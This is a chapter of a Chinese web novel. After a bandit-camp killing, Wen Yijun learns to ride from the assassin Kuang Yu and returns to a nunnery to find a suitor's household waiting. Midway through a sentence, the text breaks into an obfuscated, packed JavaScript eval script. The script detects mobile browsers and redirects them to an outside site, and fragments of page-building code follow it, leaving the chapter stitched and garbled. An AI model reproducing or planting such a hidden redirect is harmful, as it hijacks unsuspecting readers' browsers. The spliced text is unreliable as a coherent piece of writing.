13. 自由

作品:《救命!小姐和杀手私奔了!

    两人在寨中和之前那片山林拾回了尚能重复使用的梅花袖箭箭矢,又寻了处山泉。邝玉身着黑色劲装,少量溅在他身上的血倒也不算明显,温仪君身上也主要是蹭上了些草木屑和尘灰。现下无法进城去更换衣物,只能就着泉水简单擦拭一下。


    “走吧。”邝玉见温仪君打理完毕,唤到。


    温仪君坐在泉水边的石块上,迟疑地望向山寨的方向,“他们那一堆尸体就那么随意地留在那儿,真的无事吗?”


    “他们能在那里占山为寇,基本都是官府不想管或者管不了的人,死了也没人追究。山中的野兽闻到那一片的血腥味,自会寻去将尸体分食了。”


    但温仪君又想起邝玉之前的话,语气中带着担心:“那你呢?此前我听你提,当初只杀了胡大当家就走,是怕事情闹大,引人注目。如今这般行事,不会有问题吗?”


    “当初是当初,现在……就算知道了,也无甚关系。”也转过头,漆黑的眸子看向远处的寨子,映不出什么情绪,“况且,只要人一个不剩,消息也就传不出去了。”


    许是十二月的山头寒风正盛,温仪君没来由地打了个寒颤,却见邝玉已经伸手过来,是想扶着自己站起。


    她抬头看向邝玉,清瘦而轮廓清晰的脸依然是面无表情,斜飞的剑眉压着狭长的眼,乍一看总是会显出几分带着压迫感的凌厉,可仔细瞧去,才发现望向她的眼里总透着温和。


    温和,这个词在邝玉身上是显得那么格格不入。


    即使是此前把他当做面冷心热的侠客时,也依然难以否认他浑身散发着拒人于千里之外的“面冷”气质,让温仪君有时都会忍不住怀疑,“温和”是否是她的错觉。


    但是邝玉却用行动一次又一次地告诉她,在她面前,他总是小心翼翼地收起利齿,把柔软的一面展现给她。


    温仪君拉住邝玉的手起身,掌心炽热的温度好像一下子就驱散了周身的寒意,让温仪君嘴角忍不住翘起。邝玉不知她在笑什么,但见她心情愉悦,也被感染得在眼中流露出笑意。


    和邝玉一同起身离去,到半山,浑身棕黑、唯有额心一抹白的马儿正在低头吃着山间的野草,这幅场景有几分眼熟,温仪君这才问起:“这些马儿们总长得这般相似,我竟是才发现,这怕不就是当初你我初见那日,你留在山脚的那一匹马?”


    邝玉点头:“是它。”


    “没想到这马儿倒是一直伴你左右。”温仪君打量了一下,“如今可是已经认得主了?我瞧你这次都没有将它找个地方拴住。”


    “嗯。也算是有些灵性。”


    说着,马儿自己走了过来,拿头蹭了蹭邝玉的肩,邝玉也不理它,只顺道拿了此前留在马背上的温仪君的狐腋披风递给她,道:“天冷。”


    马儿见主人不搭理它,又发脾气似地使劲拱了供邝玉,还好邝玉习武底盘扎实,才没被供得摔倒。


    温仪君不免被这温馨的一幕逗笑,接过披风穿上,一边问道:“它可有名字?”


    “没有。”也根本没想过还要取名字这种事情。


    “那不如我替你给它取一个吧?”不等邝玉应,温仪君看着它眉心一抹白,已经有了主意:“叫藏雪如何?”


    邝玉又点点头:“好。”他也辨不出这些名字如何,不过既是温仪君取的,那想来定然是好的。


    又道:“我扶你上马。”


    温仪君突然想到什么,眼睛闪着光看向邝玉:“你可以教我骑马吗?”


    “每次上下马都是由你帮着,这次我想自己试试!”


    半晌后,山脚下,一匹棕黑色的马从山林中一跃而出,一个身披鹅黄色披风的女子正趴伏在马背上,宽大的披风遮挡住了她身子和四肢的僵直,随后跟着一名黑衣男子,隔着几个马身的距离不紧不慢地追赶着,面上似是漫不经心,实则眼神一直紧盯着女子的动向。


    马的一个大跃步吓得温仪君“啊”地叫出一声,声音带着颤抖朝藏雪喊着:“别跑了别跑了!”


    一旁邝玉见她慌张的模样,提醒道:“身体坐直后倾,拉动缰绳,命令语要说‘吁’。”


    温仪君听到邝玉的声音,勉强稳住心神,回忆着山上邝玉教的一些动作,颤巍巍地坐起来,还好这段时间以来的锻炼明显加强了她的腰部力量,她向后拉着缰绳,嘴里发出“吁——”的指令声,藏雪终于减速,几步之后停下。


    温仪君坐定,大喘着气,见邝玉走到了身前,忍不住带着些嗔怪地瞪了他一眼:“我就说先慢慢来别急着跑,你非说可以的,可吓死我了!”


    “我看你在林中已经慢步走了许久了……不过你之前不是已经随我一起骑过多次马了。”邝玉未想到温仪君还会这般害怕。


    “你带着和我自己一个人,这感觉能一样吗?”依赖着别人和全靠自己可是天差地别。


    “是我的错。不过我在,不会让你摔着的。”邝玉知错地默默鼻尖,又道:“我看你刚才也驾驭地挺好的,而且现在到了平野上,比山林的路好走许多,你再试试?”


    温仪君本能地就想拒绝,话到嘴边,刚才的紧张和害怕之余,随马一起跃动时的新奇趣意涌上了心间,她咽住了话,看到邝玉鼓励的眼神,心头又有些痒痒。


    拉动着缰绳,小腿轻夹马腹,学着邝玉一声“驾”,藏雪再次即刻撒开腿飞奔出去。


    温仪君身子往后半倒,饶是有心理准备,还是免不住被这猛地加速吓得不自觉惊叫一声。


    但平地确实比山间陡峭的小路顺畅许多,待身形坐正,习惯了这种马奔跑起伏的节奏,感受到风扬起自己的发丝,马前行的方向皆由自己控制,飞快得像是没有任何能够拦住自己前行的脚步。


    天地之大,任由自己一往无前。


    温仪君心头尽是痛快的滋味,突然能理解,为何诗中总是能将“马蹄疾”与意气风发联系在一起了。不禁大声向远处的邝玉高呼着:“这就是自由的感觉吗!”


    风为邝玉带来温仪君欢快的声音,他眼中也不自觉泛起温和的笑意,飞奔过去追赶温仪君。


    *


    匆匆几日,试完了武器,总有归去时。待回到霁云尼寺所在的白龙山,温仪君尚还


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15319258|167400||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    感觉这几天过得像在做梦一样。


    自己终于是手刃了仇人——虽然几乎全是邝玉帮忙做的,但是如今的寨主毛大当家确是亲手所杀。


    而与他的死同样具有意义的是,她知道了,原来她真的可以做到靠自己保护自己,而不必一味等在呆呆等在原地求助。


    有力量在自己手中的感觉,真好。


    到半山时,邝玉说有事要一会儿再回来,温仪君先行一步独自上山,还绕了些路,走到寺庙后方——此前是向维那告了病假,现下也不敢从正门走,只能悄悄从小院的侧门进去。


    温仪君刚打开侧门,本该是寂静无人的小院,却有人正听到点什么动静从屋中走出,竟是一个穿着常服、头梳双髻的陌生女子!


    这般打扮绝不是尼师,但也不是她所认识的温宅中人。


    温仪君愣住,险些以为自己走错了地儿。转头打量了一下四周和院内环境,确实无误,正要发问,就听女子欣喜道:“温娘子,你可算回来了!我们郎君可是等你好久了!”


    温仪君错愕:“你家郎君?”


    “奴是方实甫方郎君家的婢女!”女子屈膝行礼。


    方实甫?他怎会知道自己在这儿?


    这下,温仪君脑子更乱了,自己不过离开不到十日,事情怎么发展到了她完全看不懂的地步?


    又听女子语气带着急切:“我这就去将消息告知郎君!”


    话说完,婢女就直接离去。她去得匆匆,温仪君还脑子一团糟地呆愣在原地,都没来得及问个来龙去脉,只得抱着满心的疑惑去前院寻了维那。


    在院中见到其他人时,温仪君便算着尼寺中几个主事的怕是都知道自己偷偷溜出去了,意料之内的挨了维那好一顿说,她也顺道从话中理清了事情经过。


    原来是自己告了一旬的病假,医尼慈问担心自己久病不愈,来院中想要替自己把把脉看下病症,谁知敲门却一直无人应,找了人来一起破门而入,才发现院中无人。慈问担心自己是出了什么意外,将情况报给了维那,正好那几日有比丘尼要下山采买,就令她去温宅将情况告知了温家。


    等维那终于训够了话,温仪君抓住机会问道:“为何向温家报的信,来的却是方家人?”


    维那没好气,但也不隐瞒,如实告知了:“这个我就不知了,那日同采买的人一起回来的便是方施主和他的婢女,在院中和山间寻了许久,见确实未能找到你,便留了那婢女在你院中,等着寺庙这边有无新的消息。”


    温仪君正一头雾水之际,又听维那严厉道:“我知你是官家女,只是在这儿暂住清修,寻常的规矩束不住你。可你若是不愿呆着山中,那我们也不强留你!”


    温仪君连忙道歉,语气真切:“此事是我不考虑周了,是有一些私事要办,想着图个方便,就直接称了病,让大家担心了。撒谎称病确实不该,按寺规如何,我自是甘愿受罚的,还望维那莫怪!”


    维那见温仪君态度还算诚恳,面色刚稍作缓和,就听远远传来一道带着不满的男子音色:“谁准你罚我仪君妹妹了!”